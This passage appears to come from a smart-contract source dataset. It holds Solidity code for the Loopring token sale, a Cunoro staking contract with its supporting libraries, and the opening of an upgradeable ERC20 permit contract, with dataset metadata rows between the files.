// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/// @title Loopring Protocol Token.
/// For more information about this token sale, please visit https://loopring.org
/// @author Kongliang Zhong - , Daniel Wang - .
contract LoopringToken is StandardToken {
string public constant NAME = "LoopringCoin";
string public constant SYMBOL = "LRC";
uint public constant DECIMALS = 18;
/// During token sale, we use one consistent price: 5000 LRC/ETH.
/// We split the entire token sale period into 10 phases, each
/// phase has a different bonus setting as specified in `bonusPercentages`.
/// The real price for phase i is `(1 + bonusPercentages[i]/100.0) * BASE_RATE`.
/// The first phase or early-bird phase has a much higher bonus.
uint8[10] public bonusPercentages = [
20,
16,
14,
12,
10,
8,
6,
4,
2,
0
];
uint public constant NUM_OF_PHASE = 10;
/// Each phase contains exactly 15250 Ethereum blocks, which is roughly 3 days,
/// which makes this 10-phase sale period roughly 30 days.
/// See https://www.ethereum.org/crowdsale#scheduling-a-call
uint16 public constant BLOCKS_PER_PHASE = 15250;
/// This is where we hold ETH during this token sale. We will not transfer any Ether
/// out of this address before we invocate the `close` function to finalize the sale.
/// This promise is not guanranteed by smart contract by can be verified with public
/// Ethereum transactions data available on several blockchain browsers.
/// This is the only address from which `start` and `close` can be invocated.
///
/// Note: this will be initialized during the contract deployment.
address public target;
/// `firstblock` specifies from which block our token sale starts.
/// This can only be modified once by the owner of `target` address.
uint public firstblock = 0;
/// Indicates whether unsold token have been issued. This part of LRC token
/// is managed by the project team and is issued directly to `target`.
bool public unsoldTokenIssued = false;
/// Minimum amount of funds to be raised for the sale to succeed.
uint256 public constant GOAL = 50000 ether;
/// Maximum amount of fund to be raised, the sale ends on reaching this amount.
uint256 public constant HARD_CAP = 120000 ether;
/// Maximum unsold ratio, this is hit when the mininum level of amount of fund is raised.
uint public constant MAX_UNSOLD_RATIO = 675; // 67.5%
/// Base exchange rate is set to 1 ETH = 5000 LRC.
uint256 public constant BASE_RATE = 5000;
/// A simple stat for emitting events.
uint public totalEthReceived = 0;
/// Issue event index starting from 0.
uint public issueIndex = 0;
/// Emitted only once after token sale starts.
event SaleStarted();
/// Emitted only once after token sale ended (all token issued).
event SaleEnded();
/// Emitted when a function is invocated by unauthorized addresses.
event InvalidCaller(address caller);
/// Emitted when a function is invocated without the specified preconditions.
/// This event will not come alone with an exception.
event InvalidState(bytes msg);
/// Emitted for each sucuessful token purchase.
event Issue(uint issueIndex, address addr, uint ethAmount, uint tokenAmount);
/// Emitted if the token sale succeeded.
event SaleSucceeded();
/// Emitted if the token sale failed.
/// When token sale failed, all Ether will be return to the original purchasing
/// address with a minor deduction of transaction feegas)
event SaleFailed();
modifier onlyOwner {
if (target == msg.sender) {
_;
} else {
InvalidCaller(msg.sender);
throw;
}
}
modifier beforeStart {
if (!saleStarted()) {
_;
} else {
InvalidState("Sale has not started yet");
throw;
}
}
modifier inProgress {
if (saleStarted() && !saleEnded()) {
_;
} else {
InvalidState("Sale is not in progress");
throw;
}
}
modifier afterEnd {
if (saleEnded()) {
_;
} else {
InvalidState("Sale is not ended yet");
throw;
}
}
function LoopringToken(address _target) {
target = _target;
}
/// @dev Start the token sale.
/// @param _firstblock The block from which the sale will start.
function start(uint _firstblock) public onlyOwner beforeStart {
if (_firstblock <= block.number) {
// Must specify a block in the future.
throw;
}
firstblock = _firstblock;
SaleStarted();
}
/// @dev Triggers unsold tokens to be issued to `target` address.
function close() public onlyOwner afterEnd {
if (totalEthReceived < GOAL) {
SaleFailed();
} else {
issueUnsoldToken();
SaleSucceeded();
}
}
/// @dev Returns the current price.
function price() public constant returns (uint tokens) {
return computeTokenAmount(1 ether);
}
/// @dev This default function allows token to be purchased by directly
/// sending ether to this smart contract.
function () payable {
issueToken(msg.sender);
}
/// @dev Issue token based on Ether received.
/// @param recipient Address that newly issued token will be sent to.
function issueToken(address recipient) payable inProgress {
// We only accept minimum purchase of 0.01 ETH.
assert(msg.value >= 0.01 ether);
uint tokens = computeTokenAmount(msg.value);
totalEthReceived = totalEthReceived.add(msg.value);
totalSupply = totalSupply.add(tokens);
balances[recipient] = balances[recipient].add(tokens);
Issue(issueIndex++,
recipient,
msg.value,
tokens);
if (!target.send(msg.value)) {
throw;
}
}
/// @dev Compute the amount of LRC token that can be purchased.
/// @param ethAmount Amount of Ether to purchase LRC.
/// @return Amount of LRC token to purchase
function computeTokenAmount(uint ethAmount) internal constant returns (uint tokens) {
uint phase = (block.number - firstblock).div(BLOCKS_PER_PHASE);
// A safe check
if (phase >= bonusPercentages.length) {
phase = bonusPercentages.length - 1;
}
uint tokenBase = ethAmount.mul(BASE_RATE);
uint tokenBonus = tokenBase.mul(bonusPercentages[phase]).div(100);
tokens = tokenBase.add(tokenBonus);
}
/// @dev Issue unsold token to `target` address.
/// The math is as follows:
/// +-------------------------------------------------------------+
/// | Total Ethers Received | |
/// +------------------------------------+ Unsold Token Portion |
/// | Lower Bound | Upper Bound | |
/// +-------------------------------------------------------------+
/// | 50,000 | 60,000 | 67.5% |
/// +-------------------------------------------------------------+
/// | 60,000 | 70,000 | 65.0% |
/// +-------------------------------------------------------------+
/// | 70,000 | 80,000 | 62.5% |
/// +-------------------------------------------------------------+
/// | 80,000 | 90,000 | 60.0% |
/// +-------------------------------------------------------------+
/// | 90,000 | 100,000 | 57.5% |
/// +-------------------------------------------------------------+
/// | 100,000 | 110,000 | 55.0% |
/// +-------------------------------------------------------------+
/// | 110,000 | 120,000 | 52.5% |
/// +-------------------------------------------------------------+
/// | 120,000 | | 50.0% |
/// +-------------------------------------------------------------+
function issueUnsoldToken() internal {
if (unsoldTokenIssued) {
InvalidState("Unsold token has been issued already");
} else {
// Add another safe guard
require(totalEthReceived >= GOAL);
uint level = totalEthReceived.sub(GOAL).div(10000 ether);
if (level > 7) {
level = 7;
}
uint unsoldRatioInThousand = MAX_UNSOLD_RATIO - 25 * level;
// Calculate the `unsoldToken` to be issued, the amount of `unsoldToken`
// is based on the issued amount, that is the `totalSupply`, during
// the sale:
// totalSupply
// unsoldToken = --------------- * r
// 1 - r
uint unsoldToken = totalSupply.div(1000 - unsoldRatioInThousand).mul(unsoldRatioInThousand);
// Adjust `totalSupply`.
totalSupply = totalSupply.add(unsoldToken);
// Issue `unsoldToken` to the target account.
balances[target] = balances[target].add(unsoldToken);
Issue(issueIndex++,
target,
0,
unsoldToken);
unsoldTokenIssued = true;
}
}
/// @return true if sale has started, false otherwise.
function saleStarted() constant returns (bool) {
return (firstblock > 0 && block.number >= firstblock);
}
/// @return true if sale has ended, false otherwise.
function saleEnded() constant returns (bool) {
return firstblock > 0 && (saleDue() || hardCapReached());
}
/// @return true if sale is due when the last phase is finished.
function saleDue() constant returns (bool) {
return block.number >= firstblock + BLOCKS_PER_PHASE * NUM_OF_PHASE;
}
/// @return true if the hard cap is reached.
function hardCapReached() constant returns (bool) {
return totalEthReceived >= HARD_CAP;
}
}
| 336,217 | 293 |
abb48c2777c0ee1e638127619394b38904dcb71392ee8c23f025a7eee9185966
| 25,251 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/e2/e2bB5938c8E965181Be2A37A94B59791931406A7_CunoroStaking.sol
| 4,424 | 17,652 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ISCunoro is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract CunoroStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for ISCunoro;
IERC20 public immutable Cunoro;
ISCunoro public immutable sCunoro;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Cunoro,
address _sCunoro,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Cunoro != address(0));
Cunoro = IERC20(_Cunoro);
require(_sCunoro != address(0));
sCunoro = ISCunoro(_sCunoro);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Cunoro.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(sCunoro.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
sCunoro.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = sCunoro.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = sCunoro.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Cunoro.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
sCunoro.safeTransferFrom(msg.sender, address(this), _amount);
Cunoro.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return sCunoro.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
sCunoro.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute(); //Cunoro mint should be updated
}
uint balance = contractBalance();
uint staked = sCunoro.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Cunoro.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 99,005 | 294 |
5e8ef144f6236483648f3401a09a1638f579877653b9106a48e7af6900cff6da
| 41,350 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/63/6304806dAf6b77EEafCEbD7C44b7E87682fc18FE_PrivateLinkProtocol.sol
| 5,095 | 20,354 |
pragma solidity 0.8.17;
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
interface IERC20PermitUpgradeable {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
abstract contract EIP712Upgradeable is Initializable {
bytes32 private _HASHED_NAME;
bytes32 private _HASHED_VERSION;
bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
function __EIP712_init(string memory name, string memory version) internal initializer {
__EIP712_init_unchained(name, version);
}
function __EIP712_init_unchained(string memory name, string memory version) internal initializer {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
}
function _domainSeparatorV4() internal view returns (bytes32) {
return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash());
}
function _buildDomainSeparator(bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash);
}
function _EIP712NameHash() internal virtual view returns (bytes32) {
return _HASHED_NAME;
}
function _EIP712VersionHash() internal virtual view returns (bytes32) {
return _HASHED_VERSION;
}
uint256[50] private __gap;
}
library ECDSAUpgradeable {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return recover(hash, r, vs);
} else {
revert("ECDSA: invalid signature length");
}
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return recover(hash, v, r, s);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
// the valid range for s in (281): 0 < s < secp256k1n 2 + 1, and for v in (282): v {27, 28}. Most
//
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
library CountersUpgradeable {
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
interface IERC20Upgradeable {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20MetadataUpgradeable is IERC20Upgradeable {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 amount) internal virtual {}
uint256[45] private __gap;
}
abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable {
using CountersUpgradeable for CountersUpgradeable.Counter;
mapping(address => CountersUpgradeable.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private _PERMIT_TYPEHASH;
function __ERC20Permit_init(string memory name) internal initializer {
__Context_init_unchained();
__EIP712_init_unchained(name, "1");
__ERC20Permit_init_unchained(name);
}
function __ERC20Permit_init_unchained(string memory name) internal initializer {
